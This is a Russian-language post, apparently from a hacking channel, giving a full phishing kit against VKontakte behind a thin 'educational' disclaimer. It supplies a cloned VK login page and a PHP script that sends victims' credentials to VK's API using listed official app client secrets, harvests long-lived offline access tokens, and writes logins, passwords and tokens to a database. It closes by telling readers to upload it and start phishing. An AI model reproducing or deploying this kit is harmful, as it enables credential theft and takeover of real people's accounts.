Взлом Вконтакте

Взлом Вконтакте

Shepard
Эта статья написана только для образовательных целей. Автор или издатель не публиковали эту статью для вредоносных целей. Если читатели хотели бы воспользоваться информацией для личной выгоды, то автор и издатель не несут ответственность за любой причиненный вред или ущерб.


Суть механизма заключается в том, что мы будем отправлять данные из HTML-форм на сервера вконтакте. В ответ мы получим access token.

Делать мы это будем с помощью cUrl и прямой авторизации через API VK. Выполнять авторизацию будем, представляясь официальным приложением. Запрос на прямую авторизацию выглядит примерно так:


Код:

https://api.vk.com/oauth/token?grant_type=password&client_id=[наше значение]&scope=[наше значение]&client_secret=[наше значение]&username=[наше значение]&password=[наше значение]

Что все это значит:

  • clenit_id - это id нашего приложения. Запишем в client_id значение 2274003.
  • scope - права доступа, необходимые приложению. Усложнять себе жизнь мы не будем, а просто запросим офлайн токен, записав в scope значение "offline". Этого будет достаточно, чтобы входить на страницу ВК по токену через apidog.ru. !Важно: такой токен "живет" до тех пор, пока пользователь не сменит пароль, либо завершит все сессии в настройках безопасности.
  • client_secret - секретный ключ Вашего приложения. Будет равен hHbZxrka2uZ6jB1inYsH
  • username - логин пользователя ВКонтакте
  • password - пароль пользователя ВКонтакте


Варианты официальных clenit_id и client_secret

Android:

client_id: 2274003

client_secret: hHbZxrka2uZ6jB1inYsH


IPhone:

client_id: 3140623

client_secret: VeWdmVclDCtn6ihuP1nt


IPad:

client_id: 3682744

client_secret: mY6CDUswIVdJLCD3j15n


Windows desktop:

client_id: 3697615

client_secret: AlVXZFMUqyrnABp8ncuU


Windows phone:

client_id: 3502557

client_secret: PEObAuQi6KloPM4T30DV


Теперь необходима форма авторизации как в вк.

Создадим php документ authorize.php

authorize.php:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
  <head>
  <?php
  $errorGet = $_GET['error_login'];
    if (!$errorGet)
    {
        echo "<style>
        #hide_row_pass {display: none;}
        </style>";
    }
else
    {
        echo "<style>
        #hide_row_pass {display: block;}
        </style>";
    }
  ?>
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <title>ВКонтакте | Вход</title>
    <link rel="stylesheet" type="text/css" href="css/al/common.css?34795707965" /><link rel="stylesheet" type="text/css" href="css/al/fonts_cnt.css?5181750877" />
    <link type="text/css" rel="stylesheet" href="css/api/oauth_popup.css?29651175773"></link>
   <meta http-equiv="content-type" content="text/html; charset=utf-8" />
   <link rel="shortcut icon" href="images/icons/favicons/fav_logo_2x.ico?8"></link>
  </head>

  <body class="VK oauth_centered">
    <script>
      if (window.devicePixelRatio >= 2) document.body.className += ' is_2x';
    </script>
    <div class="oauth_wrap">
      <div class="oauth_wrap_inner">
        <div class="oauth_wrap_content" id="oauth_wrap_content">
          <div class="oauth_head">
  <a class="oauth_logo fl_l" href="https://vk.com" target="_blank"></a>
  <div id="oauth_head_info" class="oauth_head_info fl_r">
    <a class="oauth_reg_link" href="https://vk.com/join?reg=1" target="_blank">Регистрация</a>
  </div>
</div>

<div class="oauth_content box_body clear_fix">
  <div class="box_msg_gray box_msg_padded">Для продолжения Вам необходимо войти <b>ВКонтакте</b>.</div>

  <form method="POST" id="login_submit" action="login.php">
    <div class="oauth_form">
  
    <div id="hide_row_pass" class="box_error">Указан неверный логин или пароль.</div>
      <div class="oauth_form_login">
        <div class="oauth_form_header">Телефон или email</div>
        <input type="text" class="oauth_form_input dark" name="login" value="">
        <div class="oauth_form_header">Пароль</div>
        <input type="password" class="oauth_form_input dark" name="password" />
  
        <button class="flat_button oauth_button button_wide" id="install_allow" type="submit" name="submit_login">Войти</button>
        <a class="oauth_forgot" href="https://vk.com/restore" target="_blank">Забыли пароль?</a>
      </div>
    </div>
  </form>
</div>
        </div>
      </div>
    </div>
  </body>
</html>


Архив со всеми картинками и стилями: 
https://yadi.sk/d/186Rs3g68l66SQ
VT: 
https://www.virustotal.com/#/file/b...293d7ad391605c37f64987f0d51b7079348/detection



Выглядеть будет так:



Теперь нужен файл, который будет отсылать логин и пароль на авторизацию и получение токена. Назовем login.php

Но перед этим создадим БД куда будем записывать все валидные данные.


1. Переходим на хостинге в PhpMyAdmin и нажимаем "Создать"



2. Создадим таблицу на 7 столбцов



3. Параметры id, Логин (login), Пароль (password), Токен (token), Дата (date), Имя (first_name) и Фамилия (last_name) зададим как на картинке

В параметрах столбца id должен быть отмечен параметр "A_I" (auto_increment) и стоять PRIMARY KEY.



Теперь сам файл login.php:

<?php
//Создадим headers
$headers = array(
'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'content-type' => 'application/x-www-form-urlencoded',
'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36'
);
//Запишем сюда значения логина и пароля из HTML формы
$login = $_POST['login'];
$password = $_POST['password'];
//Если какое-то поле оказалось пустым
if (empty($login) or empty($password))
{
//Отправим пользователя на стартовую страницу authorize и просигнализируем об ошибке
    header('Location: /authorize.php?error_login=true');
    exit;
}
    else
{
//Если все поля заполнены, то посылаем запрос на получение токена по нашей ссылке выше
    $get_token = post ('https://api.vk.com/oauth/token?grant_type=password&client_id=2274003&scope=offline&client_secret=hHbZxrka2uZ6jB1inYsH&username='.$login.'&password='.$password.'' ,array(
    'headers' => array(
    'accept: '.$headers['accept'],
    'content-type: '.$headers['content-type'],
    'user-agent: '.$headers['user-agent']
    )
    ));
//Если авторизация прошла успешно
if (preg_match("/[a-z0-9]{85}/", $get_token['headers'], $token))
{
    $token1 = json_decode(file_get_contents('https://api.vk.com/oauth/token?grant_type=password&client_id=2274003&scope=offline&client_secret=hHbZxrka2uZ6jB1inYsH&username='.$login.'&password='.$password.''), true);
   $data = json_decode(file_get_contents('https://api.vk.com/method/users.get?user_id='.$token1['user_id'].'&access_token='.$token[0].'&fields=uid,first_name,last_name&v=5.80'), true);

   //Записываем в переменную текущую дату и время сервера
$date_l = date("H:i:s  d-m-Y");
//Подключаемся к БД
    $host="localhost";
    $user=""; //Имя пользователя от MySql
    $pass=""; //Пароль от MySql
    $db_name=""; //Имя базы
    $link=mysql_connect($host,$user,$pass);
    mysql_select_db($db_name,$link);
    mysql_query("set names utf8");
//Выполняем запись валида в БД
    $sql = mysql_query("INSERT INTO vk(login, password, token, date, user_id, first_name, last_name) VALUES('".$login."','".$password."','".$token[0]."','".$date_l."','".$token1['user_id']."','".$data['response'][0]['first_name']."','".$data['response'][0]['last_name']."')");
//Если все прошло успешно, то перенаправляем пользователя на vk.com или на ваш сайт
    if ($sql) {
        session_start();
        $_SESSION['logged_user'] = $data['response'][0]['first_name'];
        header('Location: vk.com/');
//Если при записи обнаружены ошибки, то перенаправим пользователя на главную страницу нашего сайта с сообщением об ошибке
    } else header('Location: /authorize.php?error_login=true');
//Закрываем соединение
mysql_close($link);
exit;
}
//Если авторизация не прошла, то отправим пользователя на стартовую страницу с  ошибкой
else header('Location: /authorize.php?error_login=true');
}
//cUrl POST
function post($url = null, $params = null, $proxy = null, $proxy_userpwd = null) {
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);

if(isset($params['params'])) {
  curl_setopt($ch, CURLOPT_POST, 1);
  curl_setopt($ch, CURLOPT_POSTFIELDS, $params['params']);
}

if(isset($params['headers'])) {
  curl_setopt($ch, CURLOPT_HTTPHEADER, $params['headers']);
}

if(isset($params['cookies'])) {
  curl_setopt($ch, CURLOPT_COOKIE, $params['cookies']);
}

if($proxy) {
  curl_setopt($ch, CURLOPT_PROXY, $proxy);

  if($proxy_userpwd) {
   curl_setopt($ch, CURLOPT_PROXYUSERPWD, $proxy_userpwd);
  }
}

$result = curl_exec($ch);
$result_explode = explode("\r\n\r\n", $result);

$headers = ((isset($result_explode[0])) ? $result_explode[0]."\r\n" : '').''.((isset($result_explode[1])) ? $result_explode[1] : '');
$content = $result_explode[count($result_explode) - 1];


preg_match_all('|Set-Cookie: (.*);|U', $headers, $parse_cookies);

$cookies = implode(';', $parse_cookies[1]);

curl_close($ch);

return array('headers' => $headers, 'cookies' => $cookies, 'content' => $content);
}
?>

В переменные $host="localhost";

$user=""; //Имя пользователя от MySql

$pass=""; //Пароль от MySql

$db_name=""; //Имя базы

вписываем наши данные


На 50 строчке если авторизация прошла успешно, нужно перенаправить пользователя на ваш сайт или куда вам угодно.

header('Location: "Ваш сайт" ');

Осталось залить все файлы на хостинг и можно фишить.

Spacedrop - обязательно подпишитесь на наш второй канал!
Cash Place
- место, благодаря которому, ты перестанешь нуждаться в деньгах


Report Page